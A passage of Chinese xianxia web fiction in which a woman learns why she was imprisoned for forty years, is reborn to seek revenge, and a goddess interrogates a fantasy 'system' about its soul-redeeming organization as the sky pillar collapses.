甚至有段时间她还一度催眠自己，让自己以为她真的是因为爱才来到这里的、是因为她有着拯救他人拯救深情男配的使命，才在这座魔宫里待了一年又一年的。 ——因为倘若没有这样的虚情假意支撑着自己的话，她要如何才能清醒地在这座魔宫里熬过整整四十年？！ 可如今，在她死亡之际，真相被骤然揭露。 原来，她是可以不必得到这样离奇的“报恩”的，也是可以不必被囚困在这华丽的笼子里的。 原来，她也是可以像这世上的任何一个普通人那样，正常地施恩后，正常地得到回报、又或者没有回报的。 她可以不必离开她的小院，不必离开她的邻居与友人，她可以无名无姓地过她虽然贫苦但却自由自在的日子，晨起劳作，夜里纳凉。 而到了每个月特定的日子，她就可以骑上她有点倔强却又非常可爱的小毛驴，用鱼线把胡萝卜吊在小毛驴的脑袋前，一边逗着小毛驴一边开开心心去镇上赶集。 她本来可以拥有这样的生活的。 可如今，她才终于知晓，造成她这一生悲剧的，原来竟不仅是那个狼心狗肺的帝昭，更是那个曾与她来自同一个地方的人——那与她有着同样的来历、接受着与她同样的教育，本该是这个陌生世界上最亲密的人！ 宋茵茵！ 为何如此？ 为何如此！！ 李寻真知道，自己此刻的表情必然是极可怕的，否则一旁一直视她为死物的宫人们，也不会在这一刻被骇得后退连连，而宋茵茵身后的帝昭，也不会骤然脸色大变，挥手想要击飞她，好保护他心爱的茵茵妹妹。 但这一切的变故，都在宋茵茵一个轻描淡写的抬手下就瞬间止住了。 “帝昭哥哥，你们都先出去吧，我和寻真姐姐有两句话要说。” “可是——” “没关系，如今的我怎么说也是一名金丹修士，寻真姐姐不会伤到我的。” 踌躇片刻后，帝昭挥挥手，宫殿内的宫人们低头退下。 而带到帝昭也离开，偌大的寝殿内仅有宋茵茵和李寻真二人时，宋茵茵脸上圣洁慈悲的笑容才终于如同潮水褪去。 “寻真姐姐，李寻真，你可真是——太令我失望了。” 宋茵茵站了起来，居高临下地看着李寻真。 如果说前一秒的她还是象征着慈悲与圣洁的神女，那么此刻的宋茵茵，毫无疑问就是狠毒和冷酷的代言人。 并且，宋茵茵也半点不掩饰这一点。 “不用摆出这副表情，李寻真，我知道你想要说什么。你想要问我，明明你曾经救过我，为什么我却要用这样的方式‘报答’你，对不对？你想要问我，为什么要让你离开人界，与你过往的日子分离，令你在这个叫天天不应叫地地不灵的囚笼里一困多年，对不对？ “当然，你可能还会想要问我，你分明从未害过我，为何我却偏偏要来害你，但你扪心自问——我真的在害你吗？ “不，李寻真，我在救你！我这么多年来，一直都在救你，并且给过你那么多次机会让你自救，让你有机会成为一个自立自强的独立女性！可你偏偏冥顽不灵，就像是一团扶不上墙的烂泥！ “李寻真啊李寻真，我真是对你太失望了！！” 这一刻，李寻真几乎不敢相信自己听到了怎样的一番高谈阔论。 她根本想象不到，为何一个加害者可以用这样理直气壮的语调，大言不惭地说这四十年的囚犯生涯是对她人生的拯救，甚至高高在上地痛斥她“烂泥扶不上墙”。 为什么？ 凭什么？！ 看出了李寻真这一刻的不解与愤怒，宋茵茵冷然道：“我知你不信，因为你是典型的弱者。你相信公平，相信自由，甚至还坚守着善良和正义——你以为这些都是什么东西？不过是上位者用来糊弄下位者的垃圾而已，偏你以为这是什么真理，拿着这份‘弱者的美德’自欺欺人！ “你只顾坚守着那些可笑的东西，从没有半点抗争之心，既然如此，你想要的公平又从何而来？莫非你以为公平是从天而降的么？莫非你以为会有一个天老爷出现，来为你主持公道么？ “哈！我宋茵茵最瞧不起的，就是你这样无知的、只知道依靠他人的女人！ “我告诉你李寻真，这世界的底色就是混沌，从无公平可言！它像原始森林一样残酷，规则便是弱肉强食，你想要什么，就必须要去争、要去抢！而你唯有自己强大起来，抛弃你那可笑的天真，成为真正的大女人，你才有能力有资格保护你真正想要的自由和善良。 “但你却始终看不明白这一点，始终坚守你脆弱可笑的善良，认为只要自己够弱就一定会有强者来帮你……呵呵，真是蠢死了，就像当初你送帝昭笔墨纸砚却只给我一支玩意儿的金簪一样蠢死了！ “但我大度，不与你计较，甚至铸就了这一整座魔宫，以及这魔宫内的所有人，为你打造一个试炼场，帮你铺就一条登天梯，来助你上青云，就当是偿还你当年的救命之恩。 “你知不知道，在帝昭给你的宝库里，有多少能助你易经洗髓的天才地宝，有多少能让外界人打破头的典籍法术？你知不知道，在我给你精心挑选的宫人里，有多少人的血肉是可以让你修为突飞猛进，又有多少人是天然的大补丹？ “我为你做了这么多，就是为了让你看清这个世界，我给了你一次次机会，就为了打造出你真正的脊梁和尊严，让你抛弃那可笑的弱者的美德，拥有真正的自我！ “而你，你明明也可以利用这一切，脱胎换骨，重塑己身，成为和我一样的修士，掌握自己的命运，成为真正的强者……可你偏偏什么都不做！ “从十九岁到五十九岁，你蹉跎了整整四十年，不是一年两年，而是整整四十年！而如今，你一无所成，却还有脸来问我为什么害你？你扪心自问，我真的是在害你吗？害你的，真的是我，而非你的无知无能、你被动型性格和你的讨好型人格，你的愚蠢的受虐心和你可笑的弱者的美德吗？！ “醒醒吧，李寻真，你以为你坚持弱小，可以得到谁的怜悯？我告诉你吧，哪怕是这个世界的话本子，那圣母白莲花型主角，都是人人喊打的！” 李寻真近乎是目瞪口呆地听着宋茵茵的这一段滔滔不绝，听着对方的恨铁不成钢，和那浑然天成的傲慢和冷酷。 她头晕目眩，恍惚间感到天地都好似颠倒了，唯有宋茵茵那一声快过一声的话音回荡。 倏尔，李寻真笑了起来，先是低低地笑，接着化作歇斯底里的大笑，笑得近乎涕泪纵横。 “原来是这样，原来……就为了这个？” 李寻真终于明白了一切。 在生命的最后一刻。 “原来，你就是为了这样可笑的理由——囚禁了我一生！” 李寻真怎么都没有想到，造成她这一生苦难和疯狂的理由，背后竟如此可笑。 她怎么都没有想到，宋茵茵就为了一个可笑的理念、为了那一厢情愿的“拯救”，就让她这个无辜者白白空耗了四十年的时光。 四十年啊！ 不是一年两年，不是五年十年，是整整四十年啊！ 李寻真先哭后笑，她又哭又笑。 她多么想要嘲笑宋茵茵，嘲笑这个将愚蠢的社会达尔文主义奉为圭臬的人到底有没有真正思考过何为文明，何为社会，思考何为强者，何为弱者。 如果文明不保护弱者，那文明有何意义？ 更何况，什么是强？ 是自我以上人人平等，自我以下阶级分明的强吗？！ 还是自己得利时大喊弱肉强食天经地义，自己受害时怨天尤人的强吗？！ 什么又是弱者思维？ 不愿意助纣为虐、不愿意因自己受了苦就去撕碎别人的伞就是弱者思维吗？ 如此可笑！ 她多么想要质问宋茵茵，质问这个沉浸在自己想象出的庞大“规则”和“概念”里无法自拔的人，到底有没有真正了解过世界的规则，睁开眼看一看那些真正生活在世界里的每一个人和每一段人生，听一听他们的故事和苦难。 一个人到底要有多么傲慢，才能囚困另一个人四十年后还理直气壮地认为这是一场“救赎”？认为唯有不择手段从这个囚笼中逃脱的人，才能配得上出她想象中的“尊严”和“脊梁”？ 而一个人又到底要有多么冷酷，才能将罔顾他人的性命和人生，将他们的血肉和未来视作帮助自己修行的丹药？ 李寻真有那么那么多想要说的话。 李寻真有那么那么多可以将宋茵茵彻底驳斥的理念。 可现实却是，她的人生空耗，如今已垂垂老矣，距离死亡仅有一步之遥，连驳斥的话语都被步步逼近的死亡融解在肺中。 而那加害者却仍青春年少，前程似锦，在害死她后不但不会受到任何惩戒，并很快就能抛下她这个无名小卒的死亡，去迎接她命运中那个“天上天下第一女帝”的大女主人生。 ——好不甘心啊。 李寻真真的好不甘心。 ——好恨啊！ 李寻真痛恨这个充满苦难和不公的世界，恨这个好人没好报的世道，恨这个加害者端坐高堂而受害者血肉模糊的命运！ 不甘心。 李寻真想不明白。 明明她没有什么伟大的理想，明明她从不追求力量和长生，明明她只是想要好好地过完自己的一生而已……为什么这样简单的事，竟会那么难？ 不甘心不甘心不甘心不甘心不甘心！ 但，哪怕再不甘心，李寻真的生命仍然走到了尽头。 她含恨倒了下去，在越发游离的思绪中回顾自己只余惨败的一生。 她的一生如此短暂，并满是失败的丑态。她败给了时间，也败给了命运，败给了她曾经救过的人，败给了她曾经坚守的原则，败给了所有的一切。 这样丑陋的一生，有什么意义吗？ 没有的吧。 而就在李寻真心灰意冷，灵魂飘飘荡荡着将要离开之际，倏尔，李寻真听到了一个声音。 像是来自她灵魂深处的声音。 【你后悔吗？】 后悔吗？ 李寻真思考。 她当然是后悔的。 李寻真不是圣人，自然做不到无怨无悔。 特别是在那个加害者分明是受到她的恩惠才活下来的时候，特别是在那个加害者以那样可笑的理由残害了她一生的时候。 她如何能够不后悔？！ 于是那个声音又问道： 【如果给你重活一次的机会，你会如何？】 重来一次？ 重来……一次？！ 恍恍惚惚间，李寻真飘荡逸散的思绪凝聚，突然“睁开”了眼睛。 此刻，李寻真的肉身分明已经死去了，可她却像是长出了第三只眼，看到了一个个如同泡沫一样的幻象。 在这些幻象的泡沫中，李寻真看到重新变回神女的宋茵茵挂着虚假的悲悯，嘱咐帝昭一定要将她好生安葬。在这里，每个人面上都带着悲痛，但在更远一些的地方，魔宫的宫人们只有庆幸解脱，窃窃嘀咕着“那个凡人终于死了”之类的话语。 李寻真还看到，在那个阔别四十年的院子里，她的小毛驴一直在等她，一月又一月，一年又一年，终于，在她被帝昭掳走的第七年时，小毛驴终于支撑不住，骨瘦嶙峋地死在她的院子里，临死时像是生了灵，遥遥望着她离开的方向。 李寻真还看到，她在旅途中结交的友人们，曾一次次路过她的小院，他们带着欣喜和礼物，敲响她的门，最后又在困惑和失望中一次次无功而返，直到再无人叩响她的院门。 【如果给你重活一次的机会，你会如何？】 李寻真一字一顿：“以血还血，以牙还牙！” 这世界上，应该是有报应的。 如果恶行得不到惩戒，那么善良就没有意义。 而如果这世界连“善恶有报”这四个字都做不到的话—— “那么我，就会成为他们最大的报应！” 如果善良没有用，那么恶毒呢？ 如果道德没有用，那么死亡呢？ 如果这一切都没有用，那么毁灭呢？ 这一刻，那条在李寻真心中饲养的毒蛇，终于用毒液取代了人心。 曾经被坚守的善良和人性，在经过这般天翻地覆的变化后，被投入了虚空，再没有了回应。 李寻真知道，自己不是好人。 她再也做不了好人。 她要做“报应”。 一个足以将整个世界焚烧殆尽，让所有“上位者”血债血偿的报应！ 【如你所愿。】 混沌的世界里，一枚玉佩——那枚曾经由仙人留下的，之后又被李寻真当出的玉佩，竟在此刻亮起，焕发出了不可思议的光。 而后，李寻真的灵魂被这枚玉佩牵引，飘荡千里，在一个远离修真界和魔族的小国公主的尸体里苏醒。 而这个小国公主的名字是—— 秦如霜。 第142章 魔女（二） 穷则独善其身…… 当李寻真那属于凡人的记忆以“秦如霜”这个崭新的名字开始时，另一头的颜辞云也终于在这团混乱的记忆风暴中捉住了那个即将飞离的系统。 就像是颜辞云之前尝试的那样，唯有能量才能禁锢能量。 因此，作为四季轮转之神明的颜辞云只消拨开李寻真那团记忆的风暴，平平无奇地伸手一握。 那只本该功成身退的系统，就这样落在了颜辞云的手里。 并且就在这小小系统落到大魔王颜辞云手里的瞬间，它便立即做出了让颜辞云似曾相识的反应。 【检测到智慧生命，扫描中……检测错误！】 【错误101：检测到异种能量载体，此能量载体已被标记为“怨气化解系统”。】 【错误306：检测到异常用户数据，此用户后台身份登记为“XXX，年龄31，信用号3211********2966”……】 【错误306X：检测到异常用户数据残留。】 【错误！错误！】 疯狂报错！ 就像是颜辞云抢走上个任务者韩心文——或者说凤清姿的系统时那样，这被颜辞云捕捉的小系统也开始了它的疯狂报错。 并且，由于颜辞云身上不仅揣有一个从龙族佛子那儿抢来的系统，甚至还曾经跟倪静如共享过同一个系统，因此这小系统的报错声也格外地大。 至少比颜辞云抢来的第一个系统的报错声大。 只不过，听过系统与倪静如正常沟通的颜辞云，可不会再被这团伪装成人工智障的家伙给骗过了。 于是她捏着手里的能量，就是一顿狂摇， 就像是当年把骰子摇出花来的赌神电影里那样，颜辞云左三下右四下，上五下下六下，最后甚至还向这团代表着系统的能量吹了一口饱含炁的能量后，这才松开了被她一顿蹂躏的系统，郑重道： “转人工。” 漂浮在半空中的能量团整个团都散了一些，像是喝醉了酒一样飘忽不定。 而它张口吐出的依然是颜辞云熟悉的声音。 【错误909：检测到强烈能量风暴……】 颜辞云二话不说，抓住这系统又要做法。 伪装成小智障的系统瞬间滑跪。 【不要哇，求求你了，如果有什么问题请一定要问我，我什么都会说的！你不问怎么知道我不说呢？】 颜辞云一愣，这才发现自己刚刚好像真的没有问问题……算了这不重要。 总之，这个小系统倒是比倪静如凤清姿身上的系统都要活泼嘛。 颜辞云干脆把自己从龙斯年那儿抢来的系统也抓了出来，和李寻真的系统排排坐。 李寻真的系统见此惊呼起来： 【果然是你身上也有一个系统！可是我之前检测到的数据残留又是什么？】 李寻真的系统百思不得其解。 颜辞云倒是知道怎么回事。 之前，她因为一点儿小小的探查，不小心跟倪静如的后台数据连接在了一块儿，共享同一个“账号”。 而如今，倪静如已经成功升天——又或者是超脱了——而倪静如的系统也跟随她离开了这个小世界，只在颜辞云身上留下了一些能量的残片。 这些“能量残片”，颜辞云是读不懂的，但对系统这样的存在来说，依然算是某段可解读的“数据”吧。 颜辞云没有解释的意思，用手指尖挨个戳了戳面前的两个能量光团。 “我问，你们答。” 李寻真的系统疯狂上下晃动，如同人类在点头，像是唯恐自己反应慢点儿就被颜辞云抓去再一顿做法。 而至于从龙斯年身上截下来的系统，则好一会儿才发出一个茫然的声音。 【呱？】 颜辞云：？ 不等颜辞云发作，李寻真的系统——遵从李寻真的任务者编号，就叫它9122好了——迅速解释了起来。 【它不是完整的系统，它只是系统分出的一个基础功能模块，主系统还在它真正的任务者手中，所以它是没办法做出太复杂的回应的。】 9122的解释非常到位。 因为下一秒，颜辞云就听到了这个从龙斯年身上抢过来的系统的反驳。 【谁反应慢了？谁说我反应慢了？我只是在思考。刚刚，任务者在进行了一番系统无法理解的操作后，向系统提出了问题‘我问，你们答’。想要解析这个问题，首先要明白用户的需求，这句话很可能是接下来一段问题的开场白，但也可能是某种情绪上的发泄，想要辨明二者的区别，需要回溯任务者之前曾向系统提过的问题，而用户的上一个问题是……】 “行了小卡拉米你先闭嘴。”颜辞云转向9122，“你来说—— “你们这些所谓的系统都是什么东西？你们从哪里来？你们在这个小世界里选取这些任务者的目的是什么？” 颜辞云发出了经典的哲学三问。 而系统9122的回复也非常迅速。 【我们是来自世界之外的组织，我们的组织名在小世界里曾被译为“拯救者”、“命运共同体”、“血脉盟约”，等，而我们的目标很简单，那就是化解充斥在三千世界里的怨气和不平，并为所有受到不公和压迫的人寻求生命的出路。】 【我们无法说我们是绝对的正义者，但我们坚信我们会给予人们相对的正义。】 【所以我们所选取的任务者，都是曾身负大功德、却在此世遭受无尽坎坷磨难，最后怨气冲天，画地为牢，将自己的魂灵困死在原地无法解脱之人。】 【当选取了任务者后，我们便会针对任务者的记忆，为她构造出针对性的幻境，让她经历转世重生，最终放下执念，释怀超脱。而我们这些‘系统’，就是幻境的搭载体。】 颜辞云若有所悟：“就像佛教里的轮回转生那样，历无量劫后立地成佛？” 系统9122飞快反驳。 【我们跟佛教不一样，我们又不要任务者真的去轮回。肉身转世效率太低了，量子轮回才是新时代的选择！】 颜辞云：“……” 天呐，这年头连轮回都可以量子化了吗？ 【而且，我们的任务者大多身负孽债，直接去轮回肯定会魂飞魄散的，而量子轮回可以用模拟轮回的手法，在不损害任务者神魂的前提下，用任务者自身的功德为任务者清洗身上背负的业火和孽债，这绝对是比传统轮回更高效更人性化的手法！】 颜辞云：“……行吧。” 颜辞云被说服了。 毕竟无论是近在眼前的李寻真，还是已经超脱了的倪静如，都肉眼看得出生前的罪孽深重。 倪静如死后毁灭了一座城，李寻真更是大手笔，直接引发了一场天崩！ 这样的她们，如果按照传统的方式进入轮回，那必定是要过一遍十八层地狱的，不，应该要过好几遍地狱。 可偏偏，她们同时又是受害者，是枉死后回到人间复仇的恶鬼，并且上一世上上世还曾身负功德。 这样的她们，若是直接被下了地狱，那必然是不近人情的。 所以，如果这系统9122说的是真的，那它们这一手功相抵过、自我超脱的“量子轮回”，还真算一件好事。 颜辞云想了想，又问：“那你们能得到什么呢？” 【什么‘得到什么’？】系统9122不解反问。 颜辞云说：“世上没有免费的午餐，你们花这样多的时间，搭建出这样庞然的构架，甚至不惜花费庞然能量，做出你们这样多的系统，深入一个个小世界里选取‘任务者’，为她们构建足以洗脱她们生前罪孽的幻境……难道你想要告诉我你们所作的一切，都只是因为你们乐于助人吗？” 颜辞云的质疑很有理由。 但系统9122的回答出乎意料。 【为什么不呢？爱与和平，蜕变与新生；让迷失的灵魂找回自我；让怨恨的锁链停止传播。这难道还不足以成为一个组织行动的理由吗？】 【更何况，我们组织的其中一个译名就是“命运共同体”。我们活在同一个宇宙中，我们有着共同的母亲，我们背负着相同的命运，所以拯救他人，就是拯救我们自己。】 顿了顿，系统9122又说道。 【当然，你会更接受这样的理由——穷则独善其身，达则兼济天下。我们已经足以兼济天下了。】 【所以，我们帮助他人，不为了任何理由，不为了任何利益，只是因为我们能够这样做，所以我们便这样做了。】 颜辞云沉默片刻，突然开口道：“再跟我说一遍你们组织的名字。不是译名，而用你们自己的语言。” 系统9122惊讶：【这个……你听不懂的吧。】 颜辞云微笑：“你说就是了。” 系统9122拗不过颜辞云，便只能用属于它们世界的艰涩发音，说出了一个单词。 颜辞云侧耳倾听。 第一遍时，颜辞云还听的似懂非懂。 但第二遍时，颜辞云便用自己神明的权能，破译了这个语言。 她怔了怔，先是愕然，而后露出了微笑。 第143章 魔女（三） 登仙化鬼…… 颜辞云终于明白了这个系统的来历。 并且颜辞云也相信，若世上当真有什么人或组织是以拯救旁人为己任的话，那么那个组织必然就是制作出这些系统的人。 只不过—— “只单纯解开这些‘任务者’的心结，让她们学会放下、渡她们去轮回，真的有用吗？” 颜辞云说。 “倘若你们不从根本上改变这一切、不去修改这个恶人青云直上、好人客死他乡的底层规则，那么你哪怕今天渡了一个李寻真，明天也会出现一个倪静如；你昨日才令韩心文放下屠刀大彻大悟，后日也会出现一个‘混沌金莲’大闹天宫……” 系统9122十分惊讶：【你竟然认识她们？】 颜辞云笑了一声：“何止是‘认识’？” 就连那些困住她们的执念，颜辞云也已经彻底明了。 颜辞云指向“完美受害人”倪静如消失的方向： “她曾经强势执拗、离经叛道，在活着时试图用努力掌控自己的命运，但她失败了。” 她想，是不是因为她付出的不够多，所以才得到那样的结果？ 于是在死后，她循规蹈矩，逆来顺受，一遍遍做着“只要付出就一定会得到回报”的美梦。 颜辞云接着又指向“龙族佛子”和“凤族攻略者”的方向： “她曾经爱得轰轰烈烈，为了一个人付出了自己的所有热情，扶他上青云后，却被自己最爱的人弃如敝履，甚至害得家破人亡。” 于是她想，是不是因为她爱得太过卑微，爱得太过愚蠢，所以才会遭受这样可耻的背叛？ 所以，在这个关于“龙斯年与凤清姿”的梦里，她并不是自愿爱上的龙斯年，而是被“系统”逼迫的。 她爱得漫不经心、高高在上，走得干脆利落，毫不留情。而龙斯年则会幡然醒悟，为了挽回她的爱意付出一切，甚至不惜令时间倒流。 颜辞云第三次抬手，指向了强势归来、在男人间左右逢源的海王“混沌金莲”的方向： “她曾经出身低微，无权无势，所以她哪怕对人有恩，却也得不到相应的回报，反而受尽凌辱，被污蔑与他人有染，最后自尽而亡，没有半点反抗的力量。” 她想，倘若她也如那些人一样，生来就高高在上，脚还未落地时就已经站在了旁人一生都无法抵达的终点，她又怎么会死得这样难堪？ 所以在这个关于“天帝幼子与桃花妖”的故事里，她强势归来，有高贵的身份和强大的力量，还有游走在无数男人间的风流与傲慢。 她再也不要循规蹈矩，再也不愿让任何人掌控她的未来。 最后，颜辞云指向了李寻真：“而她……只因没有高贵的身份和美丽的容颜，真心就被人屡屡辜负，她帮助最多的人，却是伤她最深的人。” 所以，在李寻真的梦里，哪怕颜辞云没有出现，她也会在这个梦里得到她活着时从未得到过的“补偿”。 她会有拿得出手的身份，有一具不会被困于平凡的身躯，有足以掌控自己命运的力量，以及——不必成为“秦如霜”的未来。 她会一直以“李寻真”的方式活着。 或许平凡，但却祥和。 到了那时，她再不必成为玩弄权势和政治的阴谋家，也不必成为那个会将万万人的性命当作棋子利用的“大人物”。 因为在这里，她的每一个善意都会听到回响，她的每一次付出都会结出果实。 而这，才是李寻真真正想要的“美梦”。 “可是，梦终究是梦。”颜辞云平静道，“再美好的梦，也无法抹去她们生前的绝望，再完美的下一世，也无法填补这一世的缺憾。 “你们如今所作的这些事，这些编织的美梦与‘度化’，以及化解的怨气，对世界而言并不是什么亡羊补牢，而不过是在船漏时向外舀水罢了，哪怕那艘船的确因你们的行为而延迟了沉没的时间，可只要你们不补好那个漏洞，这艘船到底还是要沉的。” 【所以，你认为我们该怎么办呢？】 颜辞云沉默了一会儿：“我不知道。” 【不知道？】 “是的，我不知道。” 寻找问题是很容易的。 可想要解决一个问题，却需要善良、宽容、聪颖，以及纵横捭阖的手段。 颜辞云自认自己是没有这个本事的。 “可如果是你们的话，应该可以做到吧？” 一个组织的智慧和力量，怎么也该大于个人的智慧和力量吧？ 系统9122回道：【并非如此，我们也没有办法。就像是给江河改道，哪怕我们拓出了新的河道，可只要地形不改，那条江河就会一遍遍流向旧的道路。】 “既然你们也明白了问题所在，那你们为什么不在开拓新河道的时候改变地形，令那条奔腾的河水自愿涌入新的河道？” 系统9122道：【你明白的，未知的新神，愚公移山，非一代之功。】 只有一代又一代的人自愿地、主动地去修改那些他们习以为常的土地，引导新的流水涌入新的河道，那条旧的河道才会一点点被废弃。 而这，并不是个人伟力就能做到的事。 颜辞云又沉默了，许久后，才叹了口气：“所以，这就是我喜欢独处的原因啊。” 颜辞云和系统9122的对话，并没有花费太长时间。 但李寻真的记忆走马灯，也飞快走到了尽头。 “秦如霜”的一生，对旁人来说或许是惊心动魄的。 她生而知之，机关算计，从凡人小国不受宠的公主一步步向上。夺宠，杀人，揽一国之权。 她用谎言和舆论在各地为自己造势，聚万万民心，让他们心甘情愿、山呼神女秦如霜之名，其音惊动天庭！ 于是，在众望所归、民心所向的那一天，她主持祭祀，来到仙帝的神像面前，拜了三拜。 三拜后，仙帝降灵于神像，在王城万众瞩目之下引她踏上天梯，登入仙界。 自此，她便不再是小国的王女秦如霜，而是神女！ 不过，到了这一步，“秦如霜”的脚步仍未停下，因为她还有血海深仇未报。 她的仇人们位高权重，一个是魔族少主，连四方仙帝都不得不让他两分的人；另一个更是仙帝的徒儿，是这个世界的“女主”，一辈子都顺风顺水，逢凶化吉。 而她，只不过是经营出来的“神女”，空有名头却无实权也无实力的人罢了。 因此，她继续伸展自己的利益触角，试图将所有可合作的人都绑上自己复仇的战船，甚至最后整合了万鬼万妖之力，一度将仙帝谢承和“女主”宋茵茵逼入绝境！ 可她还是失败了。 不是败给了人祸，败给了“女主”或者“男主”，而是败给了不可抵御的天灾—— 天柱倾塌，而她这个“神女”，则被当作祭品，填了天的缺口。 如此可笑。 明明只差最后一步，就能报仇雪恨，就能让自己的仇人付出代价，可就是这一步，她却怎么都跨不过去。 于是，在被当作祭品、补天之缺的那一刻，她化作了厉鬼，从天柱中脱身而出，甚至将天的口子撕得更大！ 她的确是死了。 但她令一整个世界都为她陪葬！ 痛快吗？ 或许在化作厉鬼从天柱中脱出的那一瞬间，她的确是痛快的，可是最后，当死亡和汪洋取代生命和陆地，无数的魂灵飘来荡去，在永不停歇的天外罡风里哭泣哀嚎时，她却不知道自己是否还痛快了。 “所以，你们才给了她一个‘重来一次’的机会？” 其情可悯，其罪难恕。 李寻真——又或者说秦如霜——她真的有可抵消她毁灭世界之罪过的功德吗？ 系统9122说：【倒也不是，其实，并不是我们选择了她。】 “什么？” 【看——】 颜辞云再一次向记忆风暴核心中的那个人望去。 而这一次，颜辞云看到的不再是记忆，而是一双双牵着李寻真魂灵走向轮回彼岸的手。 “你已经停留太久了……别怕，寻真，向前走吧。”这是属于那个面容丑陋的流□□的手。 她牵着六岁的李寻真向前，将七岁的李寻真交给了刘大娘。 “孩子，你已经很努力，我知道你一直都做得很好。” 刘大娘牵着七岁的李寻真，将十二岁的李寻真交给了绣楼管事。 “你不是我最喜欢的绣娘。你总是没办法沉下心好好磨练自己的技艺，你总是会因为你家弟妹那点儿小事分心……但我很敬佩你，孩子，你或许不相信，我真的佩服你，佩服你脑瓜里的奇思妙想，佩服你永远真诚善良。” 绣楼管事将十九岁的李寻真交给了卖烧饼的李大娘。 “不要一直停留在过去，要向前走。只要向前走，就会有希望——这不是你说的吗？姑娘，快些走呀！” 李寻真一步步向前，面容一点点变化，变成了秦如霜。 “公主，你不能留在这里。” 有一双手托着她向上，像是托着她从地狱去往人间。 “公主，当初神仙没有救我，救我的是你啊！” 又一双手托着她向前，去往前方光明的未来。 “神女，你救了我们狐族，我不知道他们为什么要说你有罪，但我决不会承认的，我们狐族所有的狐都不会承认的！” 一群又一群的妖鬼跟在了她脚边。 一双又一双的手将她带出黄泉。 一声又一声的祈祷回荡在耳边。 【神灵啊，慈悲的上苍，如果您真的有灵，就将我们的神女还给我们吧！】 他们一遍遍祈祷着。 终于有一天，一个来自世界尽头的组织听到了。 于是，那位罪孽深重的神女，被他们带回了人间。 一点点、一寸寸，颜辞云看着李寻真的魂灵在自己面前彻底消散。 但颜辞云知道，这并非死亡，而是李寻真终于去往了她想要的人间。 这一刻，看着那消散的背影，颜辞云叹息，心中近乎惆怅，就连她自己都不知道自己在想什么。 只可惜，这样文青的情绪并没能在颜辞云心中停留太久。 因为几乎就在异世界通道关闭的瞬间，颜辞云就发觉了不对。 她左看右看，左看右看，最后指着天上越来越大的口子，不可置信道：“不对，等等——前面的那个东西是什么？” 系统9122即答：【是这个世界的共工和天柱。】 “共工他什么毛病？！” 系统9122引经据典：【共工怒而触不周之山，天柱折，地维绝。】 “我知道这个！”颜辞云高声，“我是问——这天柱怎么又塌了？！它怎么老在塌？！” 系统9122严谨道：【严格来说上一个倾塌的天柱是在异世界，并且已经过去了很多年，你之前看到的只是幻境，所以这里不该用‘又’……】 颜辞云直接打断：“所以谁去补？” 系统9122卡壳：【呃……】 顿了顿，它小心翼翼：【您……补？】 颜辞云：……我补你个头！ 第144章 两个问题 您是什么专业毁…… 目睹世界末日的逼近是能给人带来极可怕的心理压力的。 哪怕颜辞云对这件事算是“一回生二回熟”了，甚至理智上也非常清楚这件事跟她毫无关系，可当她眼睁睁看到天边那漆黑的裂口越撕越大，无边的黑水从界外向这个小世界倒灌而入时，她依然忍不住从心口升出一股强烈的紧迫感。 ——我该做点什么！ 这个念头在颜辞云的脑海中挥之不去。 ——我该做点什么以阻止接下来的灾难！ 毫无疑问，这个想法与颜辞云的理智是相悖的。 作为一个来自异世界的局外人、一个以“全生避害，为我贵己”为理念——也就是“放下助人情结，尊重他人命运”——的人，颜辞云不论从哪个角度来说，都不该将天上的那个缺口视为自己的“责任”。 可偏偏，“我该做点什么”的念头就是无法控制。 颜辞云不明白自己为什么会这样。 难道说是系统9122的组织理念感化了她，以致于她这样冷心冷肺离群索居社会化程度极低的人，都想要为“生命”和“文明”做点什么？ 颜辞云想不通，她得不到答案。 于是她便也懒得多想了：既然自己想要“做点什么”，那就“做点什么”吧！ 只不过，让她直接去补天那是万万不可能的。 她颜辞云就不是那种会把不属于自己的责任揽在肩上的人。 所以，在这场即将蔓延的灭世灾难前，她到底该做些什么，才能既满足自己那无处安放的拯救欲，又不至于违背自己的本性，让自己感到厌烦？ 颜辞云沉吟片刻，突然想到什么，问系统9122道：“为什么你们的宿主来自三千小世界，但‘度化’的任务却集中在这个小世界里进行？” 在颜辞云先后遇见的这四个“女主角”中，除了一个倪静如是“原住民”外，其他的三个“女主角”显然都是来自不同的世界。 既然如此，既然她们的来历各不相同，为什么系统不在她们的原始世界里“度化”她们，而偏偏要把她们带到这里？ 系统9122那看似正经的声音隐隐有些发虚：【因为这样更节省能量。】 颜辞云紧追不放：“为什么更节省能量？” 【咳，因为、因为——】 “因为这个小世界的壁垒很薄，哪怕有来自世界外的能量在这里编织幻境、兑换物品，也不会对界外的能量通道进行太多干扰，对吗？” 【咳，既然你都知道了，还问这个干什么……】 颜辞云点了点头，没有多说什么。 世界壁垒、异界能量——这是颜辞云回顾自己的来路时，突然发现的东西。 事实上，颜辞云最开始本来就是为了调查自己世界里突然出现的“鬼族巨人”、空间裂隙和五色石，这才一路追到这个小世界的。 之后，“鬼族巨人”的事算是查明白了，知道它们其实是这个世界的特产，被这个小世界的原住民称为“神灵后裔”。 可那些出现在台州的空间裂隙，以及不知来历的五色石，却在颜辞云到来后很快被她遗忘了——问就是“癫文短故事”太吸引人了，让颜辞云这个“原始人”受到了极大震撼。 直到这一刻，直到颜辞云脑中最坏的猜想实现、看到这个世界的天柱终于塌了后，颜辞云福至心灵，突然将这一切联系了起来。 每个小世界，都有自身的世界壁垒，就像是鸡蛋的蛋壳，虽然薄弱，但的确有在保护着内里的核心、阻止异种能量的入侵。 这一点从颜辞云成为四季之神后，本体就不能再直接降临异界就能看出。 可如果某个小世界的外壳消失了，只余下一层薄薄的内壳膜呢？ 到了那个时候，这个失去了外壳的小世界，会出现什么情况？ 首先，是外来者的增多。 随着小世界“外壳”的消失，来自界外的“细菌”们，会极容易入侵内部。 这样的表现套用在一整个世界上，就是系统、穿越者、随身老爷爷、深蓝加点等乱七八糟的东西，极大增多，大家进进出出就像是逛后花园，使用自己来自异世界的力量也不会受到什么阻挠。 颜辞云所遇见的各世界的“虐文女主”会被系统聚集在此，也是因为这个。 其次，小世界外壳的消失，会让小世界的内部空间也变得很不稳定，小世界内部的“蛋白”，也会以极缓慢的速度、极细微的方式，一点点流失。 什么叫“流失”？ 遍布的空间裂隙，和一不小心就会从本世界消失的生命体——或是幸运地去往了异世界，或是倒霉地被界外罡风搅碎。 这就是“流失”。 最后，当这样的“流失”达到一定程度后，一个必然的结果就会出现： 保护小世界的最后一层屏障，消失了！ 或是从内部毁灭，或是从外界撕裂。 总之，在抵达某个时间节点后，这层脆弱屏障必然会消失。 